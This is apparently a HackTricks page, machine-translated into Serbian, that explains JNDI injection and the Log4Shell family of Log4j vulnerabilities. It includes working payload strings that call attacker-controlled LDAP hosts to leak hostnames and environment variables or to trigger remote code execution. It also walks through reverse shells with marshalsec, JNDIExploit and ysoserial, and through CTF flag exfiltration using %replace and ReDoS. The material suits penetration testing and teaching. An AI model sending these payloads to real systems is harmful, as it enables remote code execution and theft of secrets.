JNDI - Java Naming and Directory Interface & Log4Shell
Last updated
Last updated
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
JNDI, integrisan u Javu od kraja 1990-ih, služi kao servis za imenovanje, omogućavajući Java programima da lociraju podatke ili objekte putem sistema imenovanja. Podržava različite servise direktorijuma putem interfejsa provajdera usluga (SPI), omogućavajući preuzimanje podataka iz različitih sistema, uključujući udaljene Java objekte. Uobičajeni SPI uključuju CORBA COS, Java RMI Registry i LDAP.
Java objekti se mogu čuvati i preuzimati koristeći JNDI Naming References, koje dolaze u dva oblika:
Reference Addresses: Specifikuje lokaciju objekta (npr., rmi://server/ref), omogućavajući direktno preuzimanje sa navedene adrese.
Remote Factory: Referencira klasu udaljene fabrike. Kada se pristupi, klasa se preuzima i instancira sa udaljene lokacije.
Međutim, ovaj mehanizam se može iskoristiti, što može dovesti do učitavanja i izvršavanja proizvoljnog koda. Kao protivmera:
RMI: java.rmi.server.useCodeabseOnly = true
po defaultu od JDK 7u21, ograničavajući učitavanje udaljenih objekata. Security Manager dodatno ograničava šta može biti učitano.
LDAP: com.sun.jndi.ldap.object.trustURLCodebase = false
po defaultu od JDK 6u141, 7u131, 8u121, blokirajući izvršavanje udaljeno učitanih Java objekata. Ako je postavljeno na true
, moguće je izvršavanje udaljenog koda bez nadzora Security Manager-a.
CORBA: Nema specifičnu osobinu, ali je Security Manager uvek aktivan.
Međutim, Naming Manager, odgovoran za rešavanje JNDI linkova, nema ugrađene bezbednosne mehanizme, što može omogućiti preuzimanje objekata iz bilo kojeg izvora. Ovo predstavlja rizik jer se RMI, LDAP i CORBA zaštite mogu zaobići, što dovodi do učitavanja proizvoljnih Java objekata ili iskorišćavanja postojećih komponenti aplikacije (gadgets) za pokretanje malicioznog koda.
Primeri URL-ova koji se mogu iskoristiti uključuju:
rmi://attacker-server/bar
ldap://attacker-server/bar
iiop://attacker-server/bar
Uprkos zaštitama, ranjivosti ostaju, uglavnom zbog nedostatka zaštite protiv učitavanja JNDI iz nepouzdanih izvora i mogućnosti zaobilaženja postojećih zaštita.
Čak i ako ste postavili PROVIDER_URL
, možete naznačiti drugačiji u pretrazi i biće pristupljeno: ctx.lookup("<attacker-controlled-url>")
i to je ono što će napadač iskoristiti da učita proizvoljne objekte iz sistema koji on kontroliše.
CORBA (Common Object Request Broker Architecture) koristi Interoperable Object Reference (IOR) za jedinstveno identifikovanje udaljenih objekata. Ova referenca uključuje osnovne informacije kao što su:
Type ID: Jedinstveni identifikator za interfejs.
Codebase: URL za dobijanje stub klase.
Važno je napomenuti da CORBA nije inherentno ranjiv. Osiguranje bezbednosti obično uključuje:
Instalaciju Security Manager-a.
Konfigurisanje Security Manager-a da dozvoli veze sa potencijalno malicioznim kodnim bazama. To se može postići kroz:
Socket dozvolu, npr., permissions java.net.SocketPermission "*:1098-1099", "connect";
.
Dozvole za čitanje fajlova, bilo univerzalno (permission java.io.FilePermission "<<ALL FILES>>", "read";
) ili za specifične direktorijume gde bi maliciozni fajlovi mogli biti smešteni.
Međutim, neke politike provajdera mogu biti blage i dozvoliti ove veze po defaultu.
Za RMI (Remote Method Invocation), situacija je donekle drugačija. Kao i kod CORBA, učitavanje proizvoljnih klasa je po defaultu ograničeno. Da bi se iskoristio RMI, obično bi bilo potrebno zaobići Security Manager, što je takođe relevantno u CORBA.
Prvo, potrebno je razlikovati između pretrage i pretrage po imenu.
Pretraga će koristiti URL kao ldap://localhost:389/o=JNDITutorial
da pronađe JNDITutorial objekat sa LDAP servera i preuzme njegove atribute.
Pretraga po imenu je namenjena za imenovanje usluga jer želimo da dobijemo šta god je vezano za ime.
Ako je LDAP pretraga pozvana sa SearchControls.setReturningObjFlag() sa true
, tada će vraćeni objekat biti rekonstruisan.
Stoga, postoji nekoliko načina da se napadnu ove opcije. Napadač može otrovati LDAP zapise uvodeći payload-e u njih koji će biti izvršeni u sistemima koji ih prikupljaju (veoma korisno za kompromitovanje desetina mašina ako imate pristup LDAP serveru). Drugi način da se iskoristi ovo bi bio da se izvrši MitM napad u LDAP pretrazi, na primer.
U slučaju da možete naterati aplikaciju da reši JNDI LDAP URL, možete kontrolisati LDAP koji će biti pretražen, i mogli biste poslati exploit (log4shell).
Exploit je serijalizovan i biće deseralizovan.
U slučaju da je trustURLCodebase
true
, napadač može da obezbedi svoje klase u kodnoj bazi, ako ne, moraće da iskoristi gadgets u classpath-u.
Lakše je napasti ovaj LDAP koristeći JavaFactory reference:
Ranjivost je uvedena u Log4j jer podržava specijalnu sintaksu u obliku ${prefix:name}
gde je prefix
jedan od niza različitih Lookups gde name
treba da bude evaluiran. Na primer, ${java:version}
je trenutna verzija Jave koja se izvršava.
LOG4J2-313 je uveo jndi
Lookup funkciju. Ova funkcija omogućava preuzimanje varijabli putem JNDI. Obično, ključ se automatski prefiksira sa java:comp/env/
. Međutim, ako sam ključ uključuje ":", ovaj defaultni prefiks se ne primenjuje.
Sa : prisutnim u ključu, kao u ${jndi:ldap://example.com/a}
nema prefiksa i LDAP server se upitava za objekat. I ovi Lookups se mogu koristiti i u konfiguraciji Log4j kao i kada se linije beleže.
Stoga, jedina stvar koja je potrebna za dobijanje RCE je ranjiva verzija Log4j koja obrađuje informacije koje kontroliše korisnik. I pošto je ovo biblioteka koja se široko koristi od strane Java aplikacija za beleženje informacija (uključujući aplikacije koje su dostupne na internetu), bilo je veoma uobičajeno da log4j beleži, na primer, HTTP zaglavlja koja su primljena kao što je User-Agent. Međutim, log4j se ne koristi samo za beleženje HTTP informacija već i bilo kakvog unosa i podataka koje je programer naznačio.
Ova ranjivost je kritična greška u nepouzdanom deseralizovanju u log4j-core
komponenti, koja utiče na verzije od 2.0-beta9 do 2.14.1. Omogućava daljinsko izvršavanje koda (RCE), omogućavajući napadačima da preuzmu sisteme. Problem je prijavio Chen Zhaojun iz Alibaba Cloud Security Team i utiče na različite Apache okvire. Prvobitno rešenje u verziji 2.15.0 je bilo nepotpuno. Sigma pravila za odbranu su dostupna (Rule 1, Rule 2).
Prvobitno ocenjen kao nizak, ali kasnije unapređen na kritičan, ovaj CVE je greška u uskrati usluge (DoS) koja proizilazi iz nepotpunog rešenja u 2.15.0 za CVE-2021-44228. Uticaće na ne-podrazumevane konfiguracije, omogućavajući napadačima da izazovu DoS napade putem kreiranih payload-a. Tweet prikazuje metodu zaobilaženja. Problem je rešen u verzijama 2.16.0 i 2.12.2 uklanjanjem obrazaca pretrage poruka i onemogućavanjem JNDI po defaultu.
Uticaće na Log4j 1.x verzije u ne-podrazumevanim konfiguracijama koje koriste JMSAppender
, ovaj CVE je greška u nepouzdanom deseralizovanju. Nema rešenja za 1.x granu, koja je završila svoj životni ciklus, i preporučuje se nadogradnja na log4j-core 2.17.0
.
Ova ranjivost utiče na Logback logging framework, naslednika Log4j 1.x. Prethodno smatrano sigurnim, okviro je pronađen ranjivim, a nove verzije (1.3.0-alpha11 i 1.2.9) su objavljene da reše problem.
Log4j 2.16.0 sadrži DoS grešku, što je dovelo do objavljivanja log4j 2.17.0
da reši CVE. Dodatni detalji su u izveštaju BleepingComputer-a report.
Uticaće na log4j verziju 2.17, ovaj CVE zahteva da napadač kontroliše konfiguracioni fajl log4j. Uključuje potencijalno proizvoljno izvršavanje koda putem konfigurisanog JDBCAppender-a. Više detalja je dostupno u Checkmarx blog postu.
Ova ranjivost je veoma lako otkriti ako nije zaštićena jer će poslati barem DNS zahtev na adresu koju navedete u svom payload-u. Stoga, payload-ovi kao što su:
${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}
(koristeći canarytokens.com)
${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}
(koristeći interactsh)
${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}
(koristeći Burp Suite)
${jndi:ldap://2j4ayo.dnslog.cn}
(koristeći dnslog)
${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}
koristeći (koristeći huntress)
Napomena: čak i ako je primljen DNS zahtev, to ne znači da je aplikacija ranjiva (ili čak ranjiva), moraćete da pokušate da je iskoristite.
Zapamtite da da biste iskoristili verziju 2.15 morate dodati zaobilaženje provere localhost-a: ${jndi:ldap://127.0.0.1#...}
Pretražite lokalne ranjive verzije biblioteke sa:
Neke od platformi navedenih ranije će vam omogućiti da umetnete neke varijable podatke koji će biti zabeleženi kada se zatraže. To može biti veoma korisno za 2 stvari:
Da verifikujete ranjivost
Da ekstrahujete informacije zloupotrebljavajući ranjivost
Na primer, mogli biste zatražiti nešto poput:
ili kao ${
jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}
i ako je DNS zahtev primljen sa vrednošću env varijable, znate da je aplikacija ranjiva.
Druge informacije koje biste mogli pokušati da iscurite:
Hostovi koji rade na JDK verzijama iznad 6u141, 7u131 ili 8u121 su zaštićeni od napada vektora učitavanja klase LDAP. To je zbog podrazumevane deaktivacije com.sun.jndi.ldap.object.trustURLCodebase
, koja sprečava JNDI da učita udaljenu kodnu bazu putem LDAP-a. Međutim, važno je napomenuti da ove verzije nisu zaštićene od napada vektora deserializacije.
Za napadače koji žele da iskoriste ove više JDK verzije, neophodno je iskoristiti pouzdani gadget unutar Java aplikacije. Alati poput ysoserial ili JNDIExploit se često koriste u tu svrhu. S druge strane, iskorišćavanje nižih JDK verzija je relativno lakše jer se ove verzije mogu manipulisati da učitaju i izvrše proizvoljne klase.
Za više informacija (poput ograničenja na RMI i CORBA vektore) proverite prethodni odeljak JNDI Naming Reference ili https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/
Možete testirati ovo u THM box-u: https://tryhackme.com/room/solar
Koristite alat marshalsec (jar verzija dostupna ovde). Ovaj pristup uspostavlja LDAP referral server za preusmeravanje konekcija na sekundarni HTTP server gde će biti hostovan exploit:
Da biste naterali metu da učita kod za reverznu ljusku, kreirajte Java datoteku pod imenom Exploit.java
sa sledećim sadržajem:
Kompajlirajte Java datoteku u klasu koristeći: javac Exploit.java -source 8 -target 8
. Zatim, pokrenite HTTP server u direktorijumu koji sadrži klasu sa: python3 -m http.server
. Osigurajte da marshalsec LDAP server upućuje na ovaj HTTP server.
Pokrenite izvršenje klase eksploata na podložnom veb serveru slanjem payload-a koji liči na:
Napomena: Ova eksploatacija se oslanja na Java konfiguraciju koja omogućava učitavanje udaljenog koda putem LDAP-a. Ako to nije dozvoljeno, razmotrite eksploataciju pouzdane klase za izvršavanje proizvoljnog koda.
Imajte na umu da je autor iz nekog razloga uklonio ovaj projekat sa github-a nakon otkrića log4shell. Možete pronaći keširanu verziju na https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2, ali ako želite da poštujete odluku autora, koristite drugačiju metodu za eksploataciju ove ranjivosti.
Pored toga, ne možete pronaći izvorni kod u wayback mašini, pa ili analizirajte izvorni kod, ili izvršite jar znajući da ne znate šta izvršavate.
Za ovaj primer možete jednostavno pokrenuti ovaj ranjivi web server za log4shell na portu 8080: https://github.com/christophetd/log4shell-vulnerable-app (u README-u ćete pronaći kako da ga pokrenete). Ova ranjiva aplikacija beleži sa ranjivom verzijom log4shell sadržaj HTTP zaglavlja X-Api-Version.
Zatim, možete preuzeti JNDIExploit jar datoteku i izvršiti je sa:
После читања кода само неколико минута, у com.feihong.ldap.LdapServer и com.feihong.ldap.HTTPServer можете видети како се LDAP и HTTP сервери креирају. LDAP сервер ће разумети који payload треба да буде послужен и преусмериће жртву на HTTP сервер, који ће послужити експлоит. У com.feihong.ldap.gadgets можете пронаћи неке специфичне гадгете који се могу користити за извршавање жељене акције (потенцијално извршавање произвољног кода). А у com.feihong.ldap.template можете видети различите класe шаблона које ће генерисати експлоите.
Можете видети све доступне експлоите са java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
. Неке корисне су:
Dakle, u našem primeru, već imamo tu ranjivu aplikaciju na dockeru koja radi. Da bismo je napali:
Kada šaljete napade, videćete neki izlaz u terminalu gde ste izvršili JNDIExploit-1.2-SNAPSHOT.jar.
Zapamtite da proverite java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
za druge opcije eksploatacije. Pored toga, u slučaju da vam zatreba, možete promeniti port LDAP i HTTP servera.
Na sličan način kao prethodni exploit, možete pokušati da koristite JNDI-Exploit-Kit da iskoristite ovu ranjivost. Možete generisati URL-ove koje ćete poslati žrtvi pokretanjem:
Ovaj napad koristeći prilagođeni generisani java objekat će raditi u laboratorijama kao što je THM solar room. Međutim, ovo obično neće raditi (jer je po defaultu Java konfigurisana da ne učitava udaljene kodne baze koristeći LDAP) mislim zato što ne zloupotrebljava poverljivu klasu za izvršavanje proizvoljnog koda.
https://github.com/cckuailong/JNDI-Injection-Exploit-Plus je još jedan alat za generisanje funkcionalnih JNDI linkova i pružanje pozadinskih usluga pokretanjem RMI servera, LDAP servera i HTTP servera.\
Ova opcija je zaista korisna za napad na Java verzije koje su konfigurisane da veruju samo određenim klasama i ne svima. Stoga, ysoserial će biti korišćen za generisanje serijalizacija poverljivih klasa koje se mogu koristiti kao uređaji za izvršavanje proizvoljnog koda (poverljiva klasa koju zloupotrebljava ysoserial mora biti korišćena od strane žrtvinog java programa kako bi eksploatacija radila).
Korišćenjem ysoserial ili ysoserial-modified možete kreirati eksploataciju deserializacije koja će biti preuzeta od strane JNDI:
Koristite JNDI-Exploit-Kit za generisanje JNDI linkova gde će eksploatacija čekati na veze iz ranjivih mašina. Možete poslužiti različite eksploate koji se mogu automatski generisati pomoću JNDI-Exploit-Kit ili čak vaše vlastite deserializacione payload-e (generisane od vas ili ysoserial).
Sada možete lako koristiti generisanu JNDI vezu da iskoristite ranjivost i dobijete reverse shell jednostavno šaljući na ranjivu verziju log4j: ${ldap://10.10.14.10:1389/generated}
https://github.com/palantir/log4j-sniffer - Pronađite lokalne ranjive biblioteke
U ovom CTF izveštaju je dobro objašnjeno kako je potencijalno moguće da se zloupotrebe neke funkcije Log4J.
Sigurnosna stranica Log4j-a ima nekoliko zanimljivih rečenica:
Od verzije 2.16.0 (za Java 8), funkcija pretrage poruka je potpuno uklonjena. Pretrage u konfiguraciji i dalje rade. Štaviše, Log4j sada po defaultu onemogućava pristup JNDI-ju. JNDI pretrage u konfiguraciji sada treba eksplicitno omogućiti.
Od verzije 2.17.0, (i 2.12.3 i 2.3.1 za Java 7 i Java 6), samo stringovi pretrage u konfiguraciji se rekurzivno proširuju; u bilo kojoj drugoj upotrebi, samo se najviša pretraga rešava, a sve ugnježdene pretrage se ne rešavaju.
To znači da po defaultu možete zaboraviti na korišćenje bilo kog jndi
eksploita. Štaviše, da biste izvršili rekurzivne pretrage, morate ih imati konfigurirane.
Na primer, u tom CTF-u ovo je bilo konfigurirano u datoteci log4j2.xml:
U ovom CTF-u napadač je kontrolisao vrednost ${sys:cmd}
i trebao je da eksfiltrira zastavu iz promenljive okruženja.
Kao što je prikazano na ovoj stranici u prethodnim payload-ima, postoje različiti načini za pristup promenljivim okruženja, kao što je: ${env:FLAG}
. U ovom CTF-u to je bilo beskorisno, ali možda neće biti u drugim stvarnim scenarijima.
U CTF-u, niste mogli pristupiti stderr java aplikacije koristeći log4J, ali Log4J izuzeci se šalju na stdout, koji je bio odštampan u python aplikaciji. To je značilo da aktiviranjem izuzetka možemo pristupiti sadržaju. Izuzetak za eksfiltraciju zastave bio je: ${java:${env:FLAG}}
. Ovo funkcioniše jer ${java:CTF{blahblah}}
ne postoji i izuzetak sa vrednošću zastave će biti prikazan:
Samo da napomenem, mogli ste takođe da injektujete nove conversion patterns i aktivirate izuzetke koji će biti zabeleženi na stdout
. Na primer:
Ovo nije bilo korisno za eksfiltraciju podataka unutar poruke o grešci, jer pretraga nije rešena pre konverzionog obrasca, ali bi moglo biti korisno za druge stvari kao što je detekcija.
Međutim, moguće je koristiti neke conversion patterns koji podržavaju regexes za eksfiltraciju informacija iz pretrage koristeći regexes i zloupotrebljavajući binarno pretraživanje ili vremenski zasnovano ponašanje.
Binarno pretraživanje putem poruka o izuzecima
Konverzioni obrazac %replace
može se koristiti za zamenu sadržaja iz stringa čak i koristeći regexes. Funkcioniše ovako: replace{pattern}{regex}{substitution}
Zloupotrebljavajući ovo ponašanje mogli biste učiniti da zamena pokrene izuzetak ako regex odgovara bilo čemu unutar stringa (i bez izuzetka ako nije pronađeno) ovako:
Na osnovu vremena
Kao što je pomenuto u prethodnom odeljku, %replace
podržava regex. Tako je moguće koristiti payload sa ReDoS stranice da izazove timeout u slučaju da je zastavica pronađena.
Na primer, payload poput %replace{${env:FLAG}}{^(?=CTF)((.
)
)*salt$}{asd}
bi izazvao timeout u tom CTF-u.
U ovom izveštaju, umesto korišćenja ReDoS napada, korišćen je amplifikacioni napad da izazove vremensku razliku u odgovoru:
Ako zastavica počinje sa
flagGuess
, cela zastavica se zamenjuje sa 29#
-ova (koristio sam ovaj karakter jer verovatno neće biti deo zastavice). Svaki od rezultantnih 29#
-ova se zatim zamenjuje sa 54#
-ova. Ovaj proces se ponavlja 6 puta, što dovodi do ukupnog broja29*54*54^6* =`` ``
96816014208
#
-ova!Zamena toliko
#
-ova će izazvati 10-sekundni timeout Flask aplikacije, što će rezultirati slanjem HTTP status koda 500 korisniku. (Ako zastavica ne počinje saflagGuess
, dobićemo status kod koji nije 500)
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)